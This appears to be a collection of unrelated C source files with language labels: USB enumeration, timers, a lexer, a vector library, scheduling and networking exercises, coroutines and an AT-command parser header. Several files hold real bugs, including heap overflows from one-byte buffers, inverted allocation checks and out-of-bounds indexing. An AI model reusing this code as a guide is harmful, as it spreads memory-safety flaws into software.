#include "funciones_usb.h"
/*ESTRUCTURAS*/
//Estructura que representa a un dispositivo
//Tiene el mismo formato de retorno que el diccionario
//En la funbcion listar_dispositivos
typedef struct dispositivo{
char *nombre;
char *id;
char *vendor;
char *montaje;
char *nodo;
}dispositivo;
//Estructura que representa una lista de dispositivos
//La cual posee un puntero a dispositivos usb
//y el numero de dispositivos que hay en la lista
typedef struct dispositivos{
dispositivo **dispositivos_usb;
int largoLista;
}dispositivos;
/*FUNCIONES*/
//Definimos funcion para obtener dispositivo
struct udev_device* obtener_hijo(struct udev* udev, struct udev_device* padre, const char* subsistema){
struct udev_device* hijo = NULL;
struct udev_enumerate *enumerar = udev_enumerate_new(udev);
udev_enumerate_add_match_parent(enumerar, padre);
udev_enumerate_add_match_subsystem(enumerar, subsistema);
udev_enumerate_scan_devices(enumerar);
struct udev_list_entry *dispositivos = udev_enumerate_get_list_entry(enumerar);
struct udev_list_entry *entrada;
udev_list_entry_foreach(entrada, dispositivos){
const char *ruta = udev_list_entry_get_name(entrada);
hijo = udev_device_new_from_syspath(udev, ruta);
break;
}
udev_enumerate_unref(enumerar);
return hijo;
}
//Definimos función para enumerar los dispositivos de almacenamiento masivo
struct dispositivos* enumerar_disp_alm_masivo(struct udev* udev){
struct udev_enumerate* enumerar = udev_enumerate_new(udev);
dispositivos *lista = (dispositivos *)malloc(sizeof(dispositivo *));
lista->dispositivos_usb =(dispositivo **)malloc(sizeof(dispositivo *));
lista->largoLista = 0;
//Buscamos los dispositivos USB del tipo SCSI (MASS STORAGE)
udev_enumerate_add_match_subsystem(enumerar, "scsi");
udev_enumerate_add_match_property(enumerar, "DEVTYPE", "scsi_device");
udev_enumerate_scan_devices(enumerar);
//Obtenemos los dispositivos con dichas caracteristicas
struct udev_list_entry *dispositivos = udev_enumerate_get_list_entry(enumerar);
struct udev_list_entry *entrada;
//Recorremos la lista obtenida
int contElementos = 0;
udev_list_entry_foreach(entrada, dispositivos){
const char *ruta = udev_list_entry_get_name(entrada);
struct udev_device* scsi = udev_device_new_from_syspath(udev, ruta);
//Obtenemos la informacion pertinente del dispositivo
struct udev_device* block = obtener_hijo(udev, scsi, "block");
struct udev_device* scsi_disk = obtener_hijo(udev, scsi, "scsi_disk");
struct udev_device* usb = udev_device_get_parent_with_subsystem_devtype(scsi, "usb", "usb_device");
if (block && scsi_disk &&usb){
dispositivo *dispUsb = (dispositivo *)malloc(sizeof(dispositivo));
char *id = (char *)malloc(sizeof(char));
char *vendor = (char *)malloc(sizeof(char));
char *montaje = (char *)malloc(sizeof(char));
char *nodo = (char *)malloc(sizeof(char));
strcpy(id,(char *)udev_device_get_sysattr_value(usb, "idProduct"));
strcpy(vendor,(char *)udev_device_get_sysattr_value(usb, "vendor"));
strcpy(nodo,(char *)udev_device_get_devnode(block));
dispUsb->nombre = "";
dispUsb->id = id;
dispUsb->vendor = vendor;
dispUsb->nodo = nodo;
struct mntent *m;
FILE *f = setmntent("/etc/mtab", "r");
while((m = getmntent(f))){
if (strstr(m->mnt_fsname,udev_device_get_devnode(block)) != NULL)
{
strcpy(montaje, (char *)m->mnt_dir);
dispUsb->montaje = montaje;
}
}
contElementos++;
*((lista->dispositivos_usb)+contElementos) = dispUsb;
endmntent(f);
}
if (block){
udev_device_unref(block);
}
if (scsi_disk){
udev_device_unref(scsi_disk);
}
udev_device_unref(scsi);
}
udev_enumerate_unref(enumerar);
lista->largoLista = contElementos;
return lista;
}
|
C
|
#include "timerone.h"
void timerQuarterCallback(Timer_Handle timerHandle)
{
//dbgOutputLoc(MAIN_TASK_DLOC_ENTER_TIMERONE_ISR);
//dbgOutputLoc(MAIN_TASK_DLOC_BEFORE_COMM_WITH_QUEUE_IN_TIMERONE_ISR);
uint32_t timerCount = Timer_getCount(timerHandle);
sendTimeMsgToQ1(timerCount);
//dbgOutputLoc(MAIN_TASK_DLOC_LEAVE_TIMERONE_ISR);
//dbgOutputLoc(MAIN_TASK_DLOC_AFTER_COMM_WITH_QUEUE_IN_TIMERONE_ISR);
} /*Sends out time when call back function is called to queue.*/
void initTimerOne()
{
Timer_Params params1;
Timer_Params_init(¶ms1);
/* Initalizing params */
params1.period = TIMER1_PERIOD;
params1.periodUnits = Timer_PERIOD_US;
params1.timerMode = Timer_CONTINUOUS_CALLBACK;
params1.timerCallback = timerQuarterCallback;
/*Opening Timer*/
timer1 = Timer_open(Board_TIMER0, ¶ms1);
if (timer1 == NULL)
{
//fatalError(MAIN_TASK_DLOC_FAILED_TIMERONE_OPEN);
}
if (Timer_start(timer1) == Timer_STATUS_ERROR)
{
//fatalError(MAIN_TASK_DLOC_FAILED_TIMERONE_START);
}
} /*Initalizes timer one.*/
|
C
|
//
// lex.c
// hash
//
// Created by bikang on 16/9/23.
// Copyright (c) 2016年 bikang. All rights reserved.
//
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include "lex.h"
#include "cntbl.h"
//#include "symbol.h"
typedef struct Symbol_{
char* lexeme;
Token token;
}Symbol;
const char* next_token(const char *istream){
return istream;
}
/**
链式hash表实现语法分析器
**/
Token lex(const char *istream,CHTbl *symtbl){
Token token;
Symbol *symbol;
int length,retval,i;
if((symbol = (Symbol *)malloc(sizeof(Symbol)))) return error;
if((symbol->lexeme = next_token(istream)) == NULL){
free(symbol);
return lexit;
}else{
symbol->token = digit;
length = (int)strlen(symbol->lexeme);
for(i=0;i<length;i++){
if(!isdigit(symbol->lexeme[i])) symbol->token = other;
}
memcpy(&token, &symbol->token,sizeof(Token));
if((retval == chtbl_insert(symtbl, symbol)) == -1){
free(symbol);
return error;
}else if(retval == 1){
free(symbol);
}
}
return token;
}
|
C
|
/* Copyright 2013-present Barefoot Networks, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Antonin Bas (antonin@barefootnetworks.com)
*
*/
#include "vector.h"
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_INIT_CAPACITY 16
struct vector_s {
size_t e_size;
size_t size;
size_t capacity;
void *data;
VectorCleanFn clean_fn;
};
vector_t *vector_create_wclean(size_t e_size, size_t init_capacity,
VectorCleanFn clean_fn) {
assert(e_size > 0);
if (init_capacity == 0) init_capacity = DEFAULT_INIT_CAPACITY;
vector_t *v = malloc(sizeof(vector_t));
v->e_size = e_size;
v->size = 0;
v->capacity = init_capacity;
v->data = malloc(init_capacity * e_size);
v->clean_fn = clean_fn;
return v;
}
vector_t *vector_create(size_t e_size, size_t init_capacity) {
return vector_create_wclean(e_size, init_capacity, NULL);
}
static void vector_expand(vector_t *v) {
v->capacity *= 2;
v->data = realloc(v->data, v->capacity * v->e_size);
}
static void *access_element(const vector_t *v, size_t index) {
return (char *)v->data + (index * v->e_size);
}
void vector_push_back_empty(vector_t *v) {
assert(v->size <= v->capacity);
if (v->size == v->capacity) vector_expand(v);
memset(access_element(v, v->size), 0, v->e_size);
v->size++;
}
void vector_push_back(vector_t *v, void *e) {
assert(v->size <= v->capacity);
if (v->size == v->capacity) vector_expand(v);
memcpy(access_element(v, v->size), e, v->e_size);
v->size++;
}
void *vector_at(const vector_t *v, size_t index) {
assert(index < v->size);
return access_element(v, index);
}
void *vector_data(const vector_t *v) { return v->data; }
size_t vector_size(const vector_t *v) { return v->size; }
void vector_remove(vector_t *v, size_t index) {
assert(index < v->size);
v->size--;
if (index == v->size) return;
memmove(access_element(v, index), access_element(v, index + 1),
(v->size - index) * v->e_size);
}
void vector_remove_e(vector_t *v, void *e) {
assert(e >= v->data);
size_t index = (char *)e - (char *)v->data;
vector_remove(v, index);
}
void vector_destroy(vector_t *v) {
if (v->clean_fn) {
for (size_t index = 0; index < v->size; index++) {
v->clean_fn(access_element(v, index));
}
}
free(v->data);
free(v);
}
void *vector_back(vector_t *v) {
if (v->size == 0) return NULL;
return access_element(v, v->size - 1);
}
|
C
|
//dp ٽ Ģ ߰ϰ ȭ
#include <stdio.h>
int d[1001];
int dp(int x) {
if (x == 1) return 1;
if (x == 2) return 2;
if (d[x] != 0) return d[x];
return d[x] = (dp(x - 1) + dp(x - 2)) % 10007;
}
int main(void) {
int x;
scanf("%d", &x);
printf("%d", dp(x));
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
struct fcfs{
char process;
int arr_time,ser_time,start_time,finish_time;
};
void sort(struct fcfs *a,int x);
int main()
{
int n;
printf("How many processes?\n");
scanf("%d",&n);
struct fcfs p[n];
int i;
for(i=0;i<n;i++)
{
fflush(stdin);
scanf("%c %d %d",&p[i].process,&p[i].arr_time,&p[i].ser_time);
}
printf("Before FCFS\n");
printf("Process \tArrival_Time \tService_Time \n");
for(i=0;i<n;i++)
{
printf("%8c %14d %14d\n",p[i].process,p[i].arr_time,p[i].ser_time);
}
sort(p,n);
int strt=p[0].arr_time;
for(i=0;i<n;i++)
{
if(p[i].arr_time>p[i-1].finish_time)
{
strt=p[i].arr_time;
}
p[i].start_time=strt;
p[i].finish_time=strt+p[i].ser_time;
strt=p[i].finish_time;
}
printf("After FCFS\n");
printf("Process \tArrival_Time \tService_Time \tStart_time \tFinish_time \n");
for(i=0;i<n;i++)
{
printf("%8c %14d %14d %14d %14d\n",p[i].process,p[i].arr_time,p[i].ser_time,p[i].start_time,p[i].finish_time);
}
return 0;
}
void sort(struct fcfs *a,int x)
{
int i,j;
struct fcfs temp;
for(i=x-1;i>=0;i--)
{
for(j=0;j<=i-1;j++)
{
if(a[j].arr_time>a[j+1].arr_time)
{
temp=a[j+1];
a[j+1]=a[j];
a[j]=temp;
}
}
}
}
|
C
|
/*
* network/network.c: implementation of the MNP process.
* ROSS GUJU
*
* CS60, March 2018.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netdb.h>
#include <assert.h>
#include <sys/utsname.h>
#include <pthread.h>
#include <unistd.h>
#include "../common/constants.h"
#include "../common/pkt.h"
#include "../topology/topology.h"
#include "network.h"
/**************** global variables ****************/
int overlay_conn; //connection to the overlay
/**************** local function prototypes ****************/
int connectToOverlay();
void *routeupdate_daemon(void *arg);
void *pkthandler(void *arg);
void network_stop();
/**************** main function ****************/
/* entry point for the network:
*/
int main(int argc, char *argv[]) {
pthread_t pkthandler_pthread;
pthread_t routerhandler_pthread;
printf("\t \t NETWORK.c main() is runnning \n \n");
overlay_conn = -1;
signal(SIGINT, network_stop);
overlay_conn = connectToOverlay();
printf("network.c ~> connectToOverlay() ~> output socket_fd = %d \n \n \n", overlay_conn);
pthread_create(&pkthandler_pthread, NULL, pkthandler, (void*) 0);
pthread_create(&routerhandler_pthread, NULL, routeupdate_daemon, (void*) 0);
printf("\t %s \n\n\n", "pkthandler_pthread & routerhandler_pthread created");
while(1 && overlay_conn > 0) {
sleep(60);
}
return 0;
}
/**************** local functions ****************/
// TODO: this function is used to for the network layer process to
// connect to the local overlay process on port OVERLAY_PORT.
// return connection descriptor if success, -1 otherwise.
// input : NONE
// output : success socket descriptor or fail -1
int connectToOverlay() {
//initilze variables
int socket_fd;
char hostname[1024];
struct sockaddr_in socket_address;
struct hostent *hostptr;
// get socket descriptor
socket_fd = socket(AF_INET, SOCK_STREAM, 0);
// get hostname in netork format
gethostname(hostname, 1024);
printf("hostname: used for network.c ~>%s\n\n", hostname);
hostptr = gethostbyname(hostname);
// copy info
memcpy(&socket_address.sin_addr.s_addr, hostptr->h_addr_list[0], sizeof(struct in_addr));
socket_address.sin_family = AF_INET;
socket_address.sin_port = htons(OVERLAY_PORT);
// connect to overlat
if (connect(socket_fd, (struct sockaddr*) &socket_address, sizeof(socket_address)) == 0) {
printf("\t network~> socket_fd is connected ~> socket_fd = %d \n\n\n", socket_fd);
return socket_fd;
}
return -1;
}
// TODO: This thread handles incoming packets from the ON process.
// We will implement the actual packet handling in lab 4.
// In this lab, it only receives packets.
void *pkthandler(void *arg) {
mnp_pkt_t pkt;
while(overlay_recvpkt(&pkt, overlay_conn) > 0) {
printf("~~pkthandler() ~> packet was recieved and came from neighbor %d \n\n\n", pkt.header.src_nodeID);
}
close(overlay_conn);
overlay_conn = -1;
pthread_exit(NULL);
return NULL;
}
//This thread sends out route update packets every
// ROUTEUPDATE_INTERVAL. In this lab, we do not add any data in the
// packet. In lab 4, we will add distance vector as the packet data.
// Broadcasting is done by set the dest_nodeID in packet header as
// BROADCAST_NODEID and use overlay_sendpkt() to send the packet out
// using BROADCAST_NODEID.
void *routeupdate_daemon(void *arg) {
mnp_pkt_t pkt;
pkt_routeupdate_t route_update;
while(1) {
// initialize packet info
pkt.header.src_nodeID = topology_getMyNodeID();
pkt.header.dest_nodeID = BROADCAST_NODEID;
pkt.header.type = ROUTE_UPDATE;
pkt.header.length = sizeof(pkt_routeupdate_t);
route_update.entryNum = 0;
// clear memory then copy info
memset(route_update.entry, 0, MAX_NODE_NUM * sizeof(routeupdate_entry_t));
memcpy(pkt.data, &route_update, sizeof(pkt_routeupdate_t));
// send pack to overlay
if (overlay_sendpkt(BROADCAST_NODEID, &pkt, overlay_conn) < 0) {
printf("%s\n \n", "closing routeupdate_daemon");
close(overlay_conn);
} else {
printf("PACKET SENT!! to Overlay\n \n ");
}
sleep(ROUTEUPDATE_INTERVAL);
}
return NULL;
}
// network_stop()
// input : NONE
//return : This function stops the MNP process. It closes all the
// connections and frees all the dynamically allocated memory.
void network_stop() {
close(overlay_conn);
exit(0);
}
|
C
|
// CS1010E Programming Methodology
// Problem Set 4 Exercise #11: perimeter.c
//
// This program reads the lengths of two sides
// of a rectangle, and computes the minimum
// perimeter after folding the rectangle
// once along the x-axis or y-axis.
//
// Lau Yan Han
#include <stdio.h>
typedef struct {
double side1, side2;
} rectangle_t;
int main(void) {
// declare a rectangle of type rectangle_t below
rectangle_t coords;
double perimeter1, perimeter2;
printf("Enter lengths of two sides: ");
scanf("%lf %lf", &coords.side1, &coords.side2);
perimeter1 = (2*coords.side1) + coords.side2;
perimeter2 = coords.side1 + (2*coords.side2);
if (perimeter1 <= perimeter2){
printf("Min perimeter after fold = %.1f\n", perimeter1);
}
else {
printf("Min perimeter after fold = %.1f\n", perimeter2);
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main(void) {
srand(time(NULL));
int a;
for (a = 0; a < 50; ++a) {
int x;
x = rand() % 10;
printf("%d ", x);
}
printf("\n");
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include "string.h"
int main()
{
char cadena[] = "Hola Mundo";
char cadena2[] = "Adios Mundo";
char cadena3[20] = "";
printf("%d", strlen(cadena));
printf("%d", strcmp(cadena, cadena2));
strcpy(cadena, cadena3);
printf("%s", cadena3);
printf("%d", strchr(cadena, 'M'));
}
|
C
|
#include <stdio.h>
#include <string.h>
#include "task.h"
#include "task_sched.h"
#include "cid.h"
//when malloc size > 128KB, malloc will call mmap,
//and only if the space is read/writed, the physical memory will be mapped.
//by default, use 1MB stack size
#define RUN_STACK_SIZE (1<<18)
#define TASK_RUN(t) (t->context.func(t->context.iparam, t->context.oparam))
#define TASK_KILL(t) (t->status = KILLED)
extern void co_enable_hook();
__thread unsigned int g_task_alive = 0;
void _task_func() {
co_enable_hook();
task_t * current = current_task();
TASK_RUN(current);
task_exit();
}
int task_init(task_t *t, cofunc_t f, void *ip, void *op) {
if(!t) return -1;
t->context.func = f;
t->context.iparam = ip? ip : NULL;
t->context.oparam = op? op : NULL;
rstack_t *s = &(t->context.rstack);
s->stack_size = f? RUN_STACK_SIZE : 0;
s->stack_ss = s->stack_size != 0? (char *)malloc(s->stack_size) : NULL;
s->stack_sp = s->stack_ss;
if(t->context.func) {
getcontext(&(t->context.uctx));
t->context.uctx.uc_stack.ss_sp = s->stack_ss;
t->context.uctx.uc_stack.ss_size = s->stack_size;
makecontext(&(t->context.uctx), _task_func, 0);
}
t->specs = NULL;
t->cid = alloc_cid();
DBG_LOG("task create: %lu", t->cid);
list_init(&(t->run_link));
t->hook = 0;
t->errnu = 0;
t->status = READY;
t->sched = NULL;
return 0;
}
task_t *task_create(cofunc_t f, void *ip, void *op) {
task_t *t = (task_t *) malloc(sizeof(task_t));
task_init(t, f, ip, op);
++g_task_alive;
return t;
}
void task_destory(task_t *t) {
if(!t) return;
DBG_LOG("destory task: %lu", t->cid);
list_delete(&t->run_link);
free(t->context.rstack.stack_ss);
free_cid(t->cid);
if(t->specs) free_co_specs(t->specs);
free(t);
--g_task_alive;
}
void task_switch(task_t *ot, task_t *nt) {
swapcontext(&(ot->context.uctx), &(nt->context.uctx));
}
void task_exit() {
task_t *current = current_task();
if(NULL == current) return;
TASK_KILL(current);
task_switch(current, current_sched()->sched_task);
}
int task_count() {
return g_task_alive;
}
|
C
|
/*
MIT License
Copyright (c) 2019 Marcin Borowicz
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#ifndef CAT_H
#define CAT_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
/* only forward declarations (looks for definition below) */
struct cat_command;
struct cat_variable;
#ifndef CAT_UNSOLICITED_CMD_BUFFER_SIZE
/* unsolicited command buffer default size (can by override externally during compilation) */
#define CAT_UNSOLICITED_CMD_BUFFER_SIZE ((size_t)(1))
#endif
/* enum type with variable type definitions */
typedef enum {
CAT_VAR_INT_DEC = 0, /* decimal encoded signed integer variable */
CAT_VAR_UINT_DEC, /* decimal encoded unsigned integer variable */
CAT_VAR_NUM_HEX, /* hexadecimal encoded unsigned integer variable */
CAT_VAR_BUF_HEX, /* asciihex encoded bytes array */
CAT_VAR_BUF_STRING /* string variable */
} cat_var_type;
/* enum type with variable accessors definitions */
typedef enum {
CAT_VAR_ACCESS_READ_WRITE = 0, /* there will be possible to read and write variable */
CAT_VAR_ACCESS_READ_ONLY, /* there will be possible to read only variable */
CAT_VAR_ACCESS_WRITE_ONLY, /* there will be possible to write only variable */
} cat_var_access;
/* enum type with function status */
typedef enum {
CAT_STATUS_ERROR_BUFFER_EMPTY = -7,
CAT_STATUS_ERROR_NOT_HOLD = -6,
CAT_STATUS_ERROR_BUFFER_FULL = -5,
CAT_STATUS_ERROR_UNKNOWN_STATE = -4,
CAT_STATUS_ERROR_MUTEX_LOCK = -3,
CAT_STATUS_ERROR_MUTEX_UNLOCK = -2,
CAT_STATUS_ERROR = -1,
CAT_STATUS_OK = 0,
CAT_STATUS_BUSY = 1,
CAT_STATUS_HOLD = 2
} cat_status;
/**
* Write variable function handler
*
* This callback function is called after variable update immediatly.
* User application can validate writed value and check for amount of data size was written.
* This handler is optional, so when is not defined, operations will be fully automatically.
*
* @param var - pointer to struct descriptor of parsed variable
* @param write_size - size of data was written (useful especially with hexbuf var type)
* @return 0 - ok, else error and stop parsing
* */
typedef int (*cat_var_write_handler)(const struct cat_variable *var, const size_t write_size);
/**
* Read variable function handler
*
* This callback function is called just before variable value read.
* User application can copy data from private fields to variable connected with parsed command.
* This handler is optional, so when is not defined, operations will be fully automatically.
*
* @param var - pointer to struct descriptor of parsed variable
* @return 0 - ok, else error and stop parsing
* */
typedef int (*cat_var_read_handler)(const struct cat_variable *var);
struct cat_variable {
const char *name; /* variable name (optional - using only for auto format test command response) */
cat_var_type type; /* variable type (needed for parsing and validating) */
void *data; /* generic pointer to statically allocated memory for variable data read/write/validate operations */
size_t data_size; /* variable data size, pointed by data pointer */
cat_var_access access; /* variable accessor */
cat_var_write_handler write; /* write variable handler */
cat_var_read_handler read; /* read variable handler */
};
/* enum type with command callbacks return values meaning */
typedef enum {
CAT_RETURN_STATE_ERROR = -1, /* immediatly error acknowledge */
CAT_RETURN_STATE_DATA_OK, /* send current data buffer followed by ok acknowledge */
CAT_RETURN_STATE_DATA_NEXT, /* send current data buffer and go to next callback iteration */
CAT_RETURN_STATE_NEXT, /* go to next callback iteration without sending anything */
CAT_RETURN_STATE_OK, /* immediatly ok acknowledge */
CAT_RETURN_STATE_HOLD, /* enable hold parser state */
CAT_RETURN_STATE_HOLD_EXIT_OK, /* exit from hold state with OK response */
CAT_RETURN_STATE_HOLD_EXIT_ERROR, /* exit from hold state with ERROR response */
CAT_RETURN_STATE_PRINT_CMD_LIST_OK, /* print commands list followed by ok acknowledge (only in TEST and RUN) */
} cat_return_state;
/**
* Write command function handler (AT+CMD=)
*
* This callback function is called after parsing all connected variables.
* User application can validate all variales at once at this moment, or copy them to the other application layer buffer.
* User can check number of variables or make custom process of parsing non standard arguments format.
* This handler is optional, so when is not defined, operations on variables will be fully automatically.
* If neither write handler nor variables not defined, then write command type is not available.
*
* @param cmd - pointer to struct descriptor of processed command
* @param data - pointer to arguments buffer for custom parsing
* @param data_size - length of arguments buffer
* @param args_num - number of passed arguments connected to variables
* @return according to cat_return_state enum definitions
* */
typedef cat_return_state (*cat_cmd_write_handler)(const struct cat_command *cmd, const uint8_t *data, const size_t data_size, const size_t args_num);
/**
* Read command function handler (AT+CMD?)
*
* This callback function is called after format all connected variables.
* User application can change automatic response, or add some custom data to response.
* This handler is optional, so when is not defined, operations on variables will be fully automatically.
* If neither read handler nor variables not defined, then read command type is not available.
*
* @param cmd - pointer to struct descriptor of processed command
* @param data - pointer to arguments buffer for custom parsing
* @param data_size - pointer to length of arguments buffer (can be modifed if needed)
* @param max_data_size - maximum length of buffer pointed by data pointer
* @return according to cat_return_state enum definitions
* */
typedef cat_return_state (*cat_cmd_read_handler)(const struct cat_command *cmd, uint8_t *data, size_t *data_size, const size_t max_data_size);
/**
* Run command function handler (AT+CMD)
*
* No operations on variables are done.
* This handler is optional.
* If run handler not defined, then run command type is not available.
*
* @param cmd - pointer to struct descriptor of processed command
* @return according to cat_return_state enum definitions
* */
typedef cat_return_state (*cat_cmd_run_handler)(const struct cat_command *cmd);
/**
* Test command function handler (AT+CMD=?)
*
* This callback function is called after format all connected variables.
* User application can change automatic response, or add some custom data to response.
* This handler is optional, so when is not defined, operations on variables will be fully automatically.
* If neither test handler nor variables not defined, then test command type is not available.
* Exception of this rule is write command without variables.
* In this case, the "question mark" will be passed as a custom argument to the write handler.
*
* @param cmd - pointer to struct descriptor of processed command
* @param data - pointer to arguments buffer for custom parsing
* @param data_size - pointer to length of arguments buffer (can be modifed if needed)
* @param max_data_size - maximum length of buffer pointed by data pointer
* @return according to cat_return_state enum definitions
* */
typedef cat_return_state (*cat_cmd_test_handler)(const struct cat_command *cmd, uint8_t *data, size_t *data_size, const size_t max_data_size);
/* enum type with main at parser fsm state */
typedef enum {
CAT_STATE_ERROR = -1,
CAT_STATE_IDLE,
CAT_STATE_PARSE_PREFIX,
CAT_STATE_PARSE_COMMAND_CHAR,
CAT_STATE_UPDATE_COMMAND_STATE,
CAT_STATE_WAIT_READ_ACKNOWLEDGE,
CAT_STATE_SEARCH_COMMAND,
CAT_STATE_COMMAND_FOUND,
CAT_STATE_COMMAND_NOT_FOUND,
CAT_STATE_PARSE_COMMAND_ARGS,
CAT_STATE_PARSE_WRITE_ARGS,
CAT_STATE_FORMAT_READ_ARGS,
CAT_STATE_WAIT_TEST_ACKNOWLEDGE,
CAT_STATE_FORMAT_TEST_ARGS,
CAT_STATE_WRITE_LOOP,
CAT_STATE_READ_LOOP,
CAT_STATE_TEST_LOOP,
CAT_STATE_RUN_LOOP,
CAT_STATE_HOLD,
CAT_STATE_FLUSH_IO_WRITE_WAIT,
CAT_STATE_FLUSH_IO_WRITE,
CAT_STATE_AFTER_FLUSH_RESET,
CAT_STATE_AFTER_FLUSH_OK,
CAT_STATE_AFTER_FLUSH_FORMAT_READ_ARGS,
CAT_STATE_AFTER_FLUSH_FORMAT_TEST_ARGS,
CAT_STATE_PRINT_CMD,
} cat_state;
/* enum type with type of command request */
typedef enum {
CAT_CMD_TYPE_NONE = -1,
CAT_CMD_TYPE_RUN,
CAT_CMD_TYPE_READ,
CAT_CMD_TYPE_WRITE,
CAT_CMD_TYPE_TEST,
CAT_CMD_TYPE__TOTAL_NUM
} cat_cmd_type;
/* structure with io interface functions */
struct cat_io_interface {
int (*write)(char ch); /* write char to output stream. return 1 if byte wrote successfully. */
int (*read)(char *ch); /* read char from input stream. return 1 if byte read successfully. */
};
/* structure with mutex interface functions */
struct cat_mutex_interface {
int (*lock)(void); /* lock mutex handler. return 0 if successfully locked, otherwise - cannot lock */
int (*unlock)(void); /* unlock mutex handler. return 0 if successfully unlocked, otherwise - cannot unlock */
};
/* structure with at command descriptor */
struct cat_command {
const char *name; /* at command name (case-insensitivity) */
const char *description; /* at command description (optionally - can be null) */
cat_cmd_write_handler write; /* write command handler */
cat_cmd_read_handler read; /* read command handler */
cat_cmd_run_handler run; /* run command handler */
cat_cmd_test_handler test; /* test command handler */
struct cat_variable const *var; /* pointer to array of variables assiocated with this command */
size_t var_num; /* number of variables in array */
bool need_all_vars; /* flag to need all vars parsing */
bool only_test; /* flag to disable read/write/run commands (only test auto description) */
bool disable; /* flag to completely disable command */
bool implicit_write; /* flag to mark command as implicit write */
};
struct cat_command_group {
const char *name; /* command group name (optional, for identification purpose) */
struct cat_command const *cmd; /* pointer to array of commands descriptor */
size_t cmd_num; /* number of commands in array */
bool disable; /* flag to completely disable all commands in group */
};
/* structure with at command parser descriptor */
struct cat_descriptor {
struct cat_command_group* const *cmd_group; /* pointer to array of commands group descriptor */
size_t cmd_group_num; /* number of commands group in array */
uint8_t *buf; /* pointer to working buffer (used to parse command argument) */
size_t buf_size; /* working buffer length */
/* optional unsolicited buffer, if not configured (NULL) */
/* then the buf will be divided into two smaller buffers */
uint8_t *unsolicited_buf; /* pointer to unsolicited working buffer (used to parse command argument) */
size_t unsolicited_buf_size; /* unsolicited working buffer length */
};
/* strcuture with unsolicited command buffered infos */
struct cat_unsolicited_cmd {
struct cat_command const *cmd; /* pointer to commands used to unsolicited event */
cat_cmd_type type; /* type of unsolicited event */
};
/* enum type with unsolicited events fsm state */
typedef enum {
CAT_UNSOLICITED_STATE_IDLE,
CAT_UNSOLICITED_STATE_FORMAT_READ_ARGS,
CAT_UNSOLICITED_STATE_FORMAT_TEST_ARGS,
CAT_UNSOLICITED_STATE_READ_LOOP,
CAT_UNSOLICITED_STATE_TEST_LOOP,
CAT_UNSOLICITED_STATE_FLUSH_IO_WRITE_WAIT,
CAT_UNSOLICITED_STATE_FLUSH_IO_WRITE,
CAT_UNSOLICITED_STATE_AFTER_FLUSH_RESET,
CAT_UNSOLICITED_STATE_AFTER_FLUSH_OK,
CAT_UNSOLICITED_STATE_AFTER_FLUSH_FORMAT_READ_ARGS,
CAT_UNSOLICITED_STATE_AFTER_FLUSH_FORMAT_TEST_ARGS,
} cat_unsolicited_state;
/* enum type with fsm type */
typedef enum {
CAT_FSM_TYPE_ATCMD,
CAT_FSM_TYPE_UNSOLICITED,
CAT_FSM_TYPE__TOTAL_NUM,
} cat_fsm_type;
struct cat_unsolicited_fsm {
cat_unsolicited_state state; /* current unsolicited fsm state */
size_t index; /* index used to iterate over commands and variables */
size_t position; /* position of actually parsed char in arguments string */
struct cat_command const *cmd; /* pointer to current command descriptor */
struct cat_variable const *var; /* pointer to current variable descriptor */
cat_cmd_type cmd_type; /* type of command request */
char const *write_buf; /* working buffer pointer used for asynch writing to io */
int write_state; /* before, data, after flush io write state */
cat_unsolicited_state write_state_after; /* parser state to set after flush io write */
struct cat_unsolicited_cmd unsolicited_cmd_buffer[CAT_UNSOLICITED_CMD_BUFFER_SIZE]; /* buffer with unsolicited commands used to unsolicited event */
size_t unsolicited_cmd_buffer_tail; /* tail index of unsolicited cmd buffer */
size_t unsolicited_cmd_buffer_head; /* head index of unsolicited cmd buffer */
size_t unsolicited_cmd_buffer_items_count; /* number of unsolicited cmd in buffer */
};
/* structure with main at command parser object */
struct cat_object {
struct cat_descriptor const *desc; /* pointer to at command parser descriptor */
struct cat_io_interface const *io; /* pointer to at command parser io interface */
struct cat_mutex_interface const *mutex; /* pointer to at command parser mutex interface */
size_t index; /* index used to iterate over commands and variables */
size_t partial_cntr; /* partial match commands counter */
size_t length; /* length of input command name and command arguments */
size_t position; /* position of actually parsed char in arguments string */
size_t write_size; /* size of parsed buffer hex or buffer string */
size_t commands_num; /* computed total number of registered commands */
struct cat_command const *cmd; /* pointer to current command descriptor */
struct cat_variable const *var; /* pointer to current variable descriptor */
cat_cmd_type cmd_type; /* type of command request */
char current_char; /* current received char from input stream */
cat_state state; /* current fsm state */
bool cr_flag; /* flag for detect <cr> char in input string */
bool hold_state_flag; /* status of hold state (independent from fsm states) */
int hold_exit_status; /* hold exit parameter with status */
